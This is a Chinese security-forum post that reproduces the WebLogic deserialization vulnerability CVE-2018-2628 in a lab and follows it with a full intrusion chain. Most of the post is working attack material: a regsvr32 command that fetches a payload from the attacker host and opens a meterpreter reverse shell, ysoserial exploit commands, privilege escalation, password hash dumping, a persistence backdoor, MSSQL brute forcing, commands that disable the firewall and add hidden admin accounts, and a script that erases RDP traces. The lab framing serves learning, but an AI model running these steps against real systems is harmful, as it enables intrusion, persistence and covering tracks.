用户
搜索
  • TA的每日心情
    开心
    2018-9-5 16:33
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    1

    主题

    9

    帖子

    119

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-4-26

    i春秋签约作者

    发表于 2019-1-7 21:36:17 65500

    0x00 前言

    本文是小菜复现漏洞的一个过程,可能有很多瑕疵,还望原谅并给与纠正

    0x01 概述

    当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),这个漏洞是在去年11月份报给Oracle的,通过该漏洞,攻击者可以在未授权的情况下远程执行任意代码。

    参考链接:

    http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

    0x02 漏洞影响范围

    • Weblogic 10.3.6.0
    • Weblogic 12.1.3.0
    • Weblogic 12.2.1.2
    • Weblogic 12.2.1.3

    0x03 环境搭建

    攻击机:kali linux及Windows10(本机)

    边缘机:Windows 7 公网IP:192.168.129.143  内网IP:192.168.58.146

    靶机:Windows server 2008 内网IP192.168.58.138

    Weblogic安装

    java安装

    weblogic安装

    1、直接点击 '下一步'

    2、选择安装路径

    3、此处非用于实际生产环境,选择不更新。

    4、典型安装

    5、下一步默认安装

    6、下面是安装的功能列表,下一步

    7、完成

    8、初始化,选择第一项启动

    9、创建新weblogic域

    10、选择第一项

    指定对应的weblogic域名和对应文件存放位置,如下,此处保持默认即可[实战中,目标一般都不是这个名字,找目录的时候注意下]

    11、设置密码

    密码:weblogic123

    12、选择’生产模式’和所使用的’jdk版本’[自动识别或指定],而后点击下一步

    选择要监听的ip地址和端口,weblogic默认7001端口,实战中管理员大多会更改端口防止被攻击

    下一步

    下一步

    下一步

    以下是详情

    13、双击执行C:\Oracle\Middleware\user_projects\domains\base_domain\startwebLogic.cmd脚本,然后输入前面设置的用户名密码,即可启动weblogic server,

    登录

    http://192.168.129.143:7001/console/login/LoginForm.jsp

    网卡配置信息

    Kali网络配置

    Win7中间机网络配置双网卡

    windows server

    跳板机试探

    测试有无漏洞

    上传shell

    执行shell

    反弹meterpreter Shell

    这里有个细节就是。我们平常linux渗透经常使用weget下载文件而windows下的方式就很困难可以使用如下写的文章方式,不过有些已经无法使用。这里推荐使用 regsvr32这种方式提升shell为meterpreter shell

    msf > use exploit/multi/script/web_delivery
    msf exploit(multi/script/web_delivery) > set target 3
    target => 3
    msf exploit(multi/script/web_delivery) >  set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(multi/script/web_delivery) > set lhost 192.168.129.128
    lhost => 192.168.129.128
    msf exploit(multi/script/web_delivery) > set lport 2333
    lport => 2333
    msf exploit(multi/script/web_delivery) > exploit 
    [*] Exploit running as background job 0.
    
    [*] Started reverse TCP handler on 192.168.129.128:2333 
    [*] Using URL: http://0.0.0.0:8080/ZqKpshnepenp8T9
    msf exploit(multi/script/web_delivery) > [*] Local IP: http://192.168.129.128:8080/ZqKpshnepenp8T9
    [*] Server started.
    [*] Run the following command on the target machine:
    regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll
    [*] 192.168.129.143  web_delivery - Handling .sct Request
    [*] 192.168.129.143  web_delivery - Delivering Payload
    [*] Sending stage (179779 bytes) to 192.168.129.143
    [*] Meterpreter session 1 opened (192.168.129.128:2333 -> 192.168.129.143:52210) at 2019-01-02 01:29:00 -0500
    
    msf exploit(multi/script/web_delivery) > sessions -i 1

    在cmd下执行

     regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll

    进入meterpreter:

    sessions -i 1

    方式二:

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/cPeSBp.sct scrobj.dll'
    
    python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient
    
    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/7Gcn5at6tOGgzG.sct scrobj.dll'
    
    python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient

    迁移进程

    [ps]查看系统进程

    但是这里我shell十分脆弱还没来得及迁移就没了。

    可以使用run post/windows/manage/migrate  自动迁移进程

    从新生成

    迁移进程绑定到explore.exe  migrate 1944

    信息收集

    1. 权限查看

      getuid知道是普通用户

    2. 系统信息

      sysinfo

    3. 网络信息

      知道有一个58网段 是一个内网。发现两张网卡两个IP,确定有内网无误

    其他信息收集命令:

    run post/windows/gather/checkvm  #是否虚拟机

    run post/linux/gather/checkvm  #是否虚拟机

    run post/windows/gather/forensics/enum_drives  #查看分区

    run post/windows/gather/enum_applications  #获取安装软件信息

    run post/windows/gather/dumplinks  #获取最近的文件操作

    run post/windows/gather/enum_ie  #获取IE缓存

    run post/windows/gather/enum_chrome  #获取Chrome缓存

    run post/windows/gather/enum_patches  #补丁信息

    run post/windows/gather/enum_domain  #查找域控

    提升权限

    1. 尝试提权

      失败

    2. 查看补丁信息,输入命令shell进入目标机CMD命令行,再利用systeminfo命令或者通过查询 c:\windows\ 里留下的补丁号.log来看看目标机大概打了哪些补丁。

      可以看到目标机基本上没有打任何补丁,我们可以尝试利用Windows下已有的漏洞提权,如ms13_053,ms14_058,ms16_016,ms16_032等等。

    3. 尝试ms16-032失败

    4. 尝试ms16-016

      失败得到的还是普通用户权限

    5. 尝试MS14_058

      得到system权限

    6. 使用ms13——053

      成功

      获取密码

    7. 查看密码 hashdump

      31d6cfe0d16ae931b73c59d7e0c089c0 密码为空

      9719753e449b694ab201144166956c91   密码是study

    权限维持

    Persistence模块

    ip地址是攻击机地址

      run persistence -U -i 10 -p 4444 -r 192.168.129.128

    -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;

    -i:设置反向连接间隔时间,单位为秒;

    -p:设置反向连接的端口号;

    -r:设置反向连接的ip地址。

    其他方式参考:https://www.freebuf.com/vuls/169420.html

    获得界面

    1. run vnc  

      #使用vnc远程桌面连接

    2. 开3389
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

    输入之前抓到的用户名密码 Mang0 study

    (这里很不好意思,win7在进行远程登录会挤掉当前登录,十分不隐蔽,如果搭建最好在server上搭建,也算是个tips)

    内网渗透

    信息收集

    1. 查看arp 缓存

    1. 查看路由信息

    [route]

    可以知道存在一台ip为192.168.58.132 的内网机器 跳板机内网网卡是192.168.58.146.

    1. 查看netview 不是域环境

    2. 添加路由

    [run autoroute -s 192.168.58.0/24]

    1. 查看添加的路由信息[run autoroute -p]

    1. 端口扫描发现目标开了1433端口 445端口都是可以尝试的端口

    192.168.59.138是我们渗透的内外目标

    445端口开放,看一下是否能用ms17010可以使用

    1. 但是从1433尝试.查找弱口令爆破

    使用nmap方式:

    nmap -p 1433 --script ms-sql-brute --script-args userdb=username.txt,passdb=pass.txt 192.168.58.138

    使用msf模块方式:

    得到mssql数据库用户名sa密码Www123456

    漏洞利用

    1. 上传文件

    1. mstsc  打开3389进行下一步攻击

    2. 输入地址密码连接

    用xp_cmdshell关闭防火墙限制

    netsh firewall set opmode mode=disable

    添加3389入站规则

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

    创建管理员用户

    net user mang0test  study123. /add
    net localgroup administrators mang0test /add

    最好在这里使用$隐藏

    net user study$ study123. /add
    
    net localgroup administrators study$ /add

    端口转发

    1. 转发端口

      portfwd  add -l 9999 -p 3389 -r 192.168.58.138

      -l 9999  转发到本地的9999端口

      -p 3389 转发目标机的3389

      -r 192.168.58.138 目标机ip

    2. 连接3389

      rdesktop 127.0.0.1:9999

    清除痕迹

    第一步

    第二步

    删除使用过的工具

    第三步:

    3389痕迹清除脚本.bat

    3389痕迹清除脚本
    home.php?mod=space&uid=46675 off 
    color 0A 
    title 3389连接痕迹清除 
    mode con cols=88 lines=20 
    set /p fk= 确定要清空3389连接痕迹吗?(y/n) 
    if /i "%fk%"=="y" goto y 
    if /i "%fk%"=="n" goto n call %0 
    
    :y 
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Clien t" /f 
    del /a /f /q %HOMEPATH%\Documents\Default.rdp 
    echo 命令执行成功,请手动查看是否清除。 
    pause >nul 
    
    :n 
    exit 

    0x05 漏洞分析

    RMI:远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。

    protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
       String[] arr$ = interfaces;
       int len$ = interfaces.length;
    
       for(int i$ = 0; i$ < len$; ++i$) {
          String intf = arr$[i$];
          if(intf.equals("java.rmi.registry.Registry")) {
             throw new InvalidObjectException("Unauthorized proxy deserialization");
          }
       }
    
       return super.resolveProxyClass(interfaces);

    上边放上了源码:来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

    大概意思应该是,只判断是否是RMI接口,如果是就OK,没有做其他的权限检查,或可信检查,导致攻击者自己起一个RMI接口,就可以引导weblogic去请求自己存好的恶意代码段z;这个恶意代码是利用JRMP加载回来的利用readObject解析的,从而达到了RCE的目的。对于JRMP的解析可以看下大神的原话:

    核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

    0x06 漏洞修复

    可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。

    0x07 总结

    采坑的地方:

    java环境:https://www.jianshu.com/p/60e66966d74a

    安装weblogic:

    https://blog.csdn.net/qq_36868342/article/details/79967606

    无法安装weblogic

    https://blog.csdn.net/qq_25116735/article/details/81285422

    https://www.oschina.net/question/2275765_220608

    0x08 参考链接

    https://www.freebuf.com/vuls/169420.html

    https://github.com/shengqi158/CVE-2018-2628

    http://www.lengbaikai.net/?p=250

    http://www.qingpingshan.com/pc/aq/385597.html

    0x09 利用编写

    本文脚本可访问如下地址获取:

    https://github.com/0xMJ/CVE-2018-2628

    评分

    参与人数 1魔法币 +10 收起 理由
    zzconfig + 10 详细

    查看全部评分

    My Blog:http://mang0.me
    精彩文章,收藏一下
    一位热衷于分享,积极向上的小白
    使用道具 举报 回复
    发表于 2019-1-8 15:42:02
    精彩文章,收藏一下
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2019-1-9 14:42:11
    感谢分享。
    使用道具 举报 回复
    nice..   
    使用道具 举报 回复
    感谢分享,收藏收藏
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册